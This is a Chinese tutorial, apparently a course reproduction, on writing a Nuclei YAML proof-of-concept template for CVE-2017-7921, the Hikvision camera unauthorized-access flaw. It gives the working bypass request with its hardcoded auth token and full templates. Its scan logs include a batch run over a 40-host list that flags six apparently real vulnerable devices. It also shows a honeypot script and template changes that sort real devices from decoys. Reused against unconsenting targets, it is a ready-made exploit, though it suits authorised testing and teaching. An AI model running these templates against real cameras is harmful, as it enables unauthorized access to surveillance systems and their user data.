【工具類】Nuclei YAML POC 編寫以及批量檢測

Nuclei YAML POC 編寫以及批量檢測

  • 法律與道德使用聲明
  • 前言
  • Nuclei 下載地址
    • 下載對應版本的文件
    • 關于檢查cpu架構
  • 關于hkws的未授權訪問
    • 參考資料
  • 關于 Neclei Yaml 腳本編寫
    • BP Nuclei Template 插件下載并安裝
    • 利用插件編寫 POC YAML 文件
      • 1、找到有漏洞的頁面抓包發送給插件
      • 2、同時將`response`中的關鍵字`0.0.0.0`也發送給插件
      • 3、插件中對YAML略做修訂后進行保存
      • 4、將YAML模版進行保存
      • 5、在Terminal中進行測試
      • 6、使用經驗
  • 關于對抗
    • 防御方偽造漏洞特征讓`nuclei`誤判,可利用一個很簡單的`python`腳本實現:
    • 攻擊方對檢測腳本進行升級
    • 進一步升級yaml文件

法律與道德使用聲明

本課程/筆記及相關技術內容僅限合法授權場景使用,嚴禁一切未授權的非法行為!

1. 適用場景限制

  • 本課程涉及的 網絡安全知識、工具及攻擊手法 僅允許在以下場景使用:
    • ? 授權滲透測試(需獲得目標方書面授權)
    • ? CTF競賽、攻防演練等合規賽事
    • ? 封閉實驗環境(如本地靶場、虛擬機)
    • ? 學術研究、技術教學(需確保隔離環境)
  • 嚴禁 用于任何未經授權的真實系統、網絡或設備。
    2. 法律與道德責任
  • 根據《中華人民共和國網絡安全法》《刑法》等相關法律法規,未經授權的網絡入侵、數據竊取、系統破壞等行為均屬違法,可能面臨刑事處罰及民事賠償。
  • 使用者需對自身行為負全部責任,課程作者及發布平臺不承擔任何因濫用技術導致的連帶責任。
    3. 工具與知識的正當用途
  • 防御視角:學習漏洞原理以提升系統防護能力。
  • 教育視角:理解攻擊手法以培養安全意識與應急響應能力。
  • 禁止用途:包括但不限于:
    -? 入侵他人計算機系統
    -? 竊取、篡改、刪除數據
    -? 傳播惡意軟件(木馬、勒索病毒等)
    -? 發起DDoS攻擊或網絡詐騙
    4. 風險自擔原則
  • 即使在合法授權場景下,操作不當仍可能導致系統崩潰、數據丟失等風險。使用者需自行評估并承擔操作后果。
    5. 知識產權聲明
  • 課程中涉及的第三方工具、代碼、文檔版權歸原作者所有,引用時請遵循其許可協議(如GPL、MIT等)。
    6. 違法違規后果
  • 技術濫用將被依法追責,包括但不限于:
  • 行政拘留、罰款(《網絡安全法》第27、63條)
  • 有期徒刑(《刑法》第285、286條非法侵入/破壞計算機系統罪)
  • 終身禁止從事網絡安全相關職業

請務必遵守法律法規,技術向善,共同維護網絡安全環境!
如發現安全漏洞,請通過合法渠道上報(如CNVD、廠商SRC)

前言

本文根據蟻景網安實驗室百里老師的直播課進行復現

Nuclei 下載地址

https://github.com/projectdiscovery/nuclei/releases/tag/v3.4.10

下載對應版本的文件

  • 如果是kali linux,可以使用uname -a或者uname -m檢查cpu架構,如果是x86_64可以下載箭頭所指的amd

nuclei 下載頁面截圖

  • 如果下載速度比較慢,可以用迅雷等工具進行加速。

關于檢查cpu架構

┌──(kali?kali)-[~/Desktop/temp/Security]
└─$ uname -m
x86_64┌──(kali?kali)-[~/Desktop/temp/Security]
└─$ uname -a
Linux kali 6.12.13-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.13-1kali1 (2025-02-11) x86_64 GNU/Linux

關于hkws的未授權訪問

參考資料

漏洞詳情、具體利用、信息收集等,可以參考各位大佬的文章,這里不再贅述:
yier-G大佬-《CVE-2017-7921 海康威視(Hikvision)攝像頭漏洞復現》
暴躁的小胡!!!大佬-《2025年最新CVE-2017-7921漏洞復現》

漏洞POC
http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK

如存在未授權訪問漏洞,則會返回如下頁面
有漏洞的返回頁面
如果不存在未授權訪問漏洞,則會返回如下頁面需要填寫用戶名和密碼
無漏洞的返回頁面

我們只要判斷響應結果中是否存在響應數據即可,假設這里使用0.0.0.0

關于 Neclei Yaml 腳本編寫

BP Nuclei Template 插件下載并安裝

 Nuclei Template Generator Plugin

利用插件編寫 POC YAML 文件

1、找到有漏洞的頁面抓包發送給插件

把請求包發送給插件

2、同時將response中的關鍵字0.0.0.0也發送給插件

把響應包中的關鍵字也發送給插件

3、插件中對YAML略做修訂后進行保存

最終腳本如下:

id: CVE-2017-7921info:name: cve-2017-7921-POCauthor: kaliseverity: highdescription: hkws未授權訪問漏洞reference:- https://cnblogs.com/yier-G/p/16632842.htmltags: tagshttp:- raw:- |+GET /Security/users?auth=YWRtaW46MTEK HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: language=en; updateTips=trueUpgrade-Insecure-Requests: 1Priority: u=0, imatchers-condition: andmatchers:- type: wordpart: bodywords:- <ipAddress>0.0.0.0</ipAddress>- type: statusstatus:- 200

4、將YAML模版進行保存

保存模版

保存完畢后,文件名會被修改,同時會列出運行的命令
保存后的結果

5、在Terminal中進行測試

-v 顯示詳細信息(實測未觸發漏洞也會列出)
-t 指定要運行的模板或者模板目錄(以逗號分隔或目錄形式)
-u 指定掃描的目標URL/主機(多個目標則指定多個-u參數)
具體可以詳見nuclei官方中文文檔https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md

┌──(kali?kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t /home/kali/Desktop/temp/CVE-2017-7921-POC.yaml -u http://{{ip:port}}/  # 其中.yaml是我們剛才寫的模版__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[INF] Your current nuclei-templates  are outdated. Latest is v10.2.8
[WRN] failed to update nuclei templates: cause="failed to download templates" chain="context deadline exceeded (Client.Timeout or context cancellation while reading body); failed to read resp body"   # 這里檢查模版update
[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version:  (outdated)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.                                                                        
[INF] Targets loaded for current scan: 1                                                                                              
[VER] [CVE-2017-7921] Sent HTTP request to http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK                               
[CVE-2017-7921] [http] [high] http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK                                            
[INF] Scan completed in 672.773988ms. 1 matches found.    # 備注,這里雖然現實時間很短,但是上面check update花了很長時間

6、使用經驗

使用 --disable-update-check不檢查升級加快掃描速度

┌──(kali?kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t ./CVE-2017-7921-POC.yaml -u http://{{ip:port}}/ --disable-update-check # 其中.yaml是我們剛才寫的模版__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[VER] [CVE-2017-7921] Sent HTTP request to http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK
[INF] Scan completed in 657.58416ms. 1 matches found.

對列表進行批量掃描
這里沒有用參數 -v 所以會忽略掉不存在漏洞的信息
繼續帶上 --disable 參數,避免檢查update加快速度

┌──(kali?kali)-[~/Desktop/temp]
└─$ ./nuclei -l list.txt -t ./CVE-2017-7921-POC.yaml --disable-update-check__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[INF] Supplied input was automatically deduplicated (7 removed).
[ERR] Could not read nuclei-ignore file: open /home/kali/.config/nuclei/.nuclei-ignore: no such file or directory
goroutine 1 [running]:
runtime/debug.Stack()runtime/debug/stack.go:26 +0x5e
github.com/projectdiscovery/nuclei/v3/pkg/catalog/config.ReadIgnoreFile()github.com/projectdiscovery/nuclei/v3/pkg/catalog/config/ignorefile.go:21 +0xd3
github.com/projectdiscovery/nuclei/v3/internal/runner.(*Runner).RunEnumeration(0xc000faf440)github.com/projectdiscovery/nuclei/v3/internal/runner/runner.go:541 +0x2cd
main.main()./main.go:223 +0xc12[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 40
[CVE-2017-7921] [http] [high] http://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] https://{{存在漏洞的ip:端口}}/Security/users?auth=YWRtaW46MTEK
[INF] Scan completed in 8.02384949s. 6 matches found.

關于對抗

下面是自己突發奇想

防御方偽造漏洞特征讓nuclei誤判,可利用一個很簡單的python腳本實現:

from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qsclass SimpleHTTPRequestHandler(BaseHTTPRequestHandler):def do_GET(self):# 解析URL和查詢參數parsed_path = urlparse(self.path)query_params = parse_qs(parsed_path.query)# 檢查是否是目標路徑和參數if parsed_path.path == '/Security/users' and 'auth' in query_params and query_params['auth'][0] == 'YWRtaW46MTEK':# 設置響應頭self.send_response(200)self.send_header('Content-type', 'application/xml')self.end_headers()# 返回XML內容response_xml = '''<UserList version="1.0">
<User version="1.0">
<id>1</id>
<userName>admin</userName>
<priority>high</priority>
<ipAddress>0.0.0.0</ipAddress>
<macAddress>00:00:00:00:00:00</macAddress>
<userLevel>Administrator</userLevel>
</User>
</UserList>'''

上述py腳本運行后,用python開啟服務

┌──(kali?kali)-[~/Desktop/temp]
└─$ python3 honey.py
Starting HTTP server on port 8000...
測試URL: http://localhost:8000/Security/users?auth=YWRtaW46MTEK
192.168.56.101 - - [05/Sep/2025 12:03:00] "GET /Security/users?auth=YWRtaW46MTEK HTTP/1.1" 200 -

攻擊方如果單純檢測<ipAddress>0.0.0.0</ipAddress>,則nuclei會誤判

┌──(kali?kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t ./CVE-2017-7921-POC.yaml -u http://192.168.56.101:8000/ --disable-update-check__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[VER] [CVE-2017-7921] Sent HTTP request to http://192.168.56.101:8000/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921] [http] [high] http://192.168.56.101:8000/Security/users?auth=YWRtaW46MTEK
[INF] Scan completed in 1.591111ms. 1 matches found.

攻擊方對檢測腳本進行升級

比如加入一些其他特征:
其他特征
Server特征為例進行修改,并保存在了CVE-2017-792-update.yaml模版中

┌──(kali?kali)-[~/Desktop/temp]
└─$ cat CVE-2017-792-update.yaml
id: CVE-2017-7921
info:name: cve-2017-7921-POCauthor: kaliseverity: highdescription: hkws未授權訪問漏洞reference:- https://cnblogs.com/yier-G/p/16632842.htmltags: tags
http:- raw:- |+GET /Security/users?auth=YWRtaW46MTEK HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: language=en; updateTips=trueUpgrade-Insecure-Requests: 1Priority: u=0, imatchers-condition: andmatchers:- type: wordpart: headerwords:- 'Server: App-webs'   # 增加了該字段- type: wordpart: bodywords:- <ipAddress>0.0.0.0</ipAddress>- type: statusstatus:- 200

此時使用新模版再進行檢測可以看到,提示并不是漏洞。

┌──(kali?kali)-[~/Desktop/temp]
└─$ ls
CVE-2017-7921-POC.yaml  CVE-2017-792-update.yaml  honey.py  index.html  list.txt  nuclei  nuclei_3.4.10_linux_amd64.zip┌──(kali?kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t ./CVE-2017-792-update.yaml -u http://192.168.56.101:8000/ --disable-update-check__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[VER] [CVE-2017-7921] Sent HTTP request to http://192.168.56.101:8000/Security/users?auth=YWRtaW46MTEK
[INF] Scan completed in 1.461189ms. No results found.

進一步升級yaml文件

如果是真實的漏洞,會提示App-webs,保存在test.yaml模版中

id: CVE-2017-7921info:name: cve-2017-7921-POCauthor: kaliseverity: highdescription: hkws未授權訪問漏洞檢測,包含蜜罐識別reference:- https://cnblogs.com/yier-G/p/16632842.htmltags: cve,hikvision,unauthorized-accessclassification:cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hcvss-score: 9.8cve-id: CVE-2017-7921http:- raw:- |GET /Security/users?auth=YWRtaW46MTEK HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: keep-aliveCookie: language=en; updateTips=trueUpgrade-Insecure-Requests: 1Priority: u=0, imatchers-condition: andmatchers:# 主要匹配條件 - 檢查響應體內容- type: wordpart: bodywords:- "<ipAddress>0.0.0.0</ipAddress>"# 檢查狀態碼- type: statusstatus:- 200# 檢查是否為真實設備(有Server頭)- type: wordpart: headerwords:- "Server: App-webs"name: real-device# 提取器 - 用于獲取Server頭部信息extractors:- type: regexpart: headername: serverregex:- "Server: ([^\\r\\n]*)"group: 1

此時對模擬的蜜罐和真實漏洞的目標分別進行嘗試,結果如下:

┌──(kali?kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t ./test.yaml -u http://{{ip:port}}/ --disable-update-check__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[VER] [CVE-2017-7921] Sent HTTP request to http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK
[CVE-2017-7921:server] [http] [high] http://{{ip:port}}/Security/users?auth=YWRtaW46MTEK ["App-webs/"]  # 留意這里的 ["App-webs/"]
[INF] Scan completed in 652.761265ms. 1 matches found.┌──(kali?kali)-[~/Desktop/temp]
└─$ ./nuclei -v -t ./test.yaml -u http://192.168.56.101:8000/ --disable-update-check__     _____  __  _______/ /__  (_)/ __ \/ / / / ___/ / _ \/ // / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10projectdiscovery.io[VER] Started metrics server at localhost:9092
[INF] Current nuclei version: v3.4.10 (unknown) - remove '-duc' flag to enable update checks
[INF] Current nuclei-templates version:  (unknown) - remove '-duc' flag to enable update checks
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 0
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[VER] [CVE-2017-7921] Sent HTTP request to http://192.168.56.101:8000/Security/users?auth=YWRtaW46MTEK
[INF] Scan completed in 2.172032ms. No results found.

因技術有限,利用AI目前僅能將yaml腳本做到這個地步,另外或許利用nuclei官方自己的ai可以進一步完善。

https://cloud.projectdiscovery.io/templates

本文拋磚引玉,感謝閱讀。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/95872.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/95872.shtml
英文地址,請注明出處:http://en.pswp.cn/web/95872.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

自動化運維之ansible

一、認識自動化運維假如管理很多臺服務器&#xff0c;主要關注以下幾個方面“1.管理機與被管理機的連接&#xff08;管理機如何將管理指令發送給被管理機&#xff09;2.服務器信息收集&#xff08;如果被管理的服務器有centos7.5外還有其它linux發行版&#xff0c;如suse,ubunt…

【溫室氣體數據集】亞洲地區長期空氣污染物和溫室氣體排放數據 REAS

目錄 REAS 數據集概述 REAS 數據版本及特點 數據內容(以 REASv3.2.1 為例) 數據形式 數據下載 參考 REAS 數據集(Regional Emission inventory in ASia,亞洲區域排放清單)是由日本國立環境研究所(NIES)及相關研究人員開發的一個覆蓋亞洲地區長期空氣污染物和溫室氣體排放…

中州養老項目:利用Redis解決權限接口響應慢的問題

目錄 在Java中使用Redis緩存 項目中集成SpringCache 在Java中使用Redis緩存 Redis作為緩存,想要在Java中操作Redis,需要 Java中的客戶端操縱Redis就像JDBC操作數據庫一樣,實際底層封裝了對Redis的基礎操作 如何在Java中使用Redis呢?先導入Redis的依賴,這個依賴導入后相當于把…

MathJax - LaTeX:WordPress 公式精準呈現方案

寫在前面&#xff1a;本博客僅作記錄學習之用&#xff0c;部分圖片來自網絡&#xff0c;如需引用請注明出處&#xff0c;同時如有侵犯您的權益&#xff0c;請聯系刪除&#xff01; 文章目錄前言安裝 MathJax-LaTeX 插件修改插件文件效果總結互動致謝參考前言 在當今知識傳播與…

詳細解讀Docker

1.概述Docker是一種優秀的開源的容器化平臺。用于部署、運行應用程序&#xff0c;它通過將應用及其依賴打包成輕量級、可移植的容器&#xff0c;實現高效一致的運行效果&#xff0c;簡單來說&#xff0c;Docker就是一種輕量級的虛擬技術。2.核心概念2.1.容器&#xff08;Contai…

GEE:基于自定義的年度時序數據集進行LandTrendr變化檢測

本文記錄了使用自己的年度時序數據集,進行 LandTrendr 變化檢測的代碼。結果輸出變化年份、變化幅度以及變化持續時間。 結果如下圖所示, 文章目錄 一、核心函數 二、代碼 三、代碼鏈接 一、核心函數 var eeltgcm = require(users/949384116/lib:LandTrendr/getChangeMap)v…

PostgreSQL收集pg_stat_activity記錄的shell工具pg_collect_pgsa

這是一個純腳本工具&#xff0c;用于從PostgreSQL的pg_stat_activity視圖中定期收集數據并保存到本地日志文件。 相關背景&#xff1a; 某個慢SQL打滿內存&#xff0c;導致系統kill掉postgres的某個進程&#xff0c;進而導致postgres進程重啟&#xff0c;沒有現場排查不了具體…

通俗的話語解讀《銀行保險機構信息科技外包風險監管辦法》

這份文件不是 “紙上規矩”&#xff0c;而是銀行保險機構做信息科技外包的 “實操手冊”—— 從要不要外包、選誰合作&#xff0c;到怎么管過程、防風險&#xff0c;再到出問題怎么應對&#xff0c;都給了明確方向。作為管理者&#xff0c;核心是把這些要求落地到日常決策和系統…

芯片ATE測試PAT(Part Average Testing)學習總結-20250916

目錄 一、基本概念 二、靜態PAT 三、動態PAT 四、參考鏈接: 一、基本概念 零件平均測試(Part Average Testing,PAT)是一種基于統計學的質量控制方法,主要用于半導體制造中篩選出與正常參數范圍偏差較大的“異常值”芯片,以提高產品質量和可靠性; 二、靜態PAT 靜態…

【數據結構、java學習】數組(Array)

1&#xff0c;概念 數組一旦定義&#xff0c;其維數和維界就不再改變。 因此除了結構的初始化和銷毀之外&#xff0c;數組只有存取元素和修改元素值的操作。Array可以存放對象類型、基本數據類型的數據。數組中元素在內存中按順序線性存放&#xff0c;通過第一個元素就能訪問隨…

58-正則表達式

1. 概念正則表達式是一種用來匹配字符串的強有力的武器.設計思想&#xff1a;用一種描述性的語言來給字符串定義一個規則&#xff0c;凡是符合規則的字符串&#xff0c;就認為它"匹配"【合法】否則就是不匹配[不合法]舉例&#xff1a;beijinglishao163.com2. 規則 1.…

圖片木馬制作的三種方法

本文轉自&#xff1a;https://www.cnblogs.com/cybersecuritystools/p/14932567.html 0x01什么是圖片木馬&#xff1f; 圖片木馬在網絡上沒有統一的定義&#xff0c;在這里我給出自己的定義。圖片木馬是一張能正常顯示又包含惡意代碼&#xff08;比如一句話木馬&#xff09;的…

【Redis】緩存的穿透、擊穿和雪崩

引言要了解緩存的這幾個相關問題&#xff0c;我們先以一個例子來引入&#xff1a;有一個get請求&#xff1a;api/news/getById/1正常情況下對其申請訪問的流程如圖&#xff1a;但若是如此&#xff0c;訪問增多或者受到攻擊時很容易受到以下問題1 緩存穿透1.1 造成原因當查詢一個…

打造一款高穩定、低延遲、跨平臺RTSP播放器的技術實踐

一、引言 RTSP&#xff08;Real Time Streaming Protocol&#xff09;作為經典的實時流媒體協議&#xff0c;已經深深嵌入到安防監控、遠程教育、工業巡檢、低空經濟、醫療影像傳輸等行業之中&#xff0c;可以說是這些場景的視頻傳輸“基礎設施”。一個穩定的 RTSP 播放器&…

C++_數據結構

數據結構是計算機存儲、組織數據的方式&#xff0c;它使得數據能夠被高效地訪問和修改。根據數據元素之間關系的不同特性&#xff0c;數據結構可以分為多種類型。主要可以分為兩大類&#xff1a;邏輯結構和物理結構&#xff08;也稱存儲結構&#xff09;。 一、邏輯結構&#x…

一個正常的 CSDN 博客賬號,需要做哪些基礎準備?

一個正常的 CSDN 博客賬號&#xff0c;需要做哪些準備&#xff1f; CSDN&#xff08;中國軟件開發網&#xff09;作為國內最具影響力的技術社區之一&#xff0c;不僅是開發者獲取信息的重要平臺&#xff0c;也是技術人建立個人品牌、輸出知識、積累影響力的重要陣地。想要把一…

【Python基礎】 17 Rust 與 Python 運算符對比學習筆記

一、算術運算符運算符Rust &#x1f980;Python &#x1f40d;示例 (Rust)示例 (Python)說明加法加法let sum 5 3;sum 5 3-減法減法let diff 5 - 3;diff 5 - 3*乘法乘法let product 5 * 3;product 5 * 3/除法除法let quotient 5 / 3; → 1quotient 5 / 3 → 1.666...…

單鏈表逆序java

在Java中實現單鏈表的逆序&#xff0c;可以通過迭代或遞歸兩種方式。以下是兩種方法的詳細實現&#xff1a; 1. 迭代方法&#xff08;推薦&#xff09; public class ListNode {int val;ListNode next;ListNode(int x) { val x; } }class Solution {public ListNode reverseLi…

(11)用于無GPS導航的制圖師SLAM(二)

文章目錄 前言 7 構建軟件包 8 開始制圖 9 配置 ArduPilot 10 測試 11 視頻 前言 本頁展示了如何使用 RPLidarA2 激光雷達(RPLidarA2 lidar)設置 ROS 和 Google Cartographer SLAM&#xff0c;為 ArduPilot 提供本地位置估計&#xff0c;使其可以在沒有 GPS 的情況下運行…

1.5、機器學習-回歸算法

1、線性回歸模型 線性回歸模型(Liner Regression)&#xff0c;是利用線性擬合的方式來探尋數據背后的規律。通過搭建線性回歸模型&#xff0c;可以尋找這些散點&#xff08;也稱樣本點&#xff09;背后的趨勢線(也稱回歸曲線)。 借助回歸曲線&#xff0c;我們可以進行一些簡單…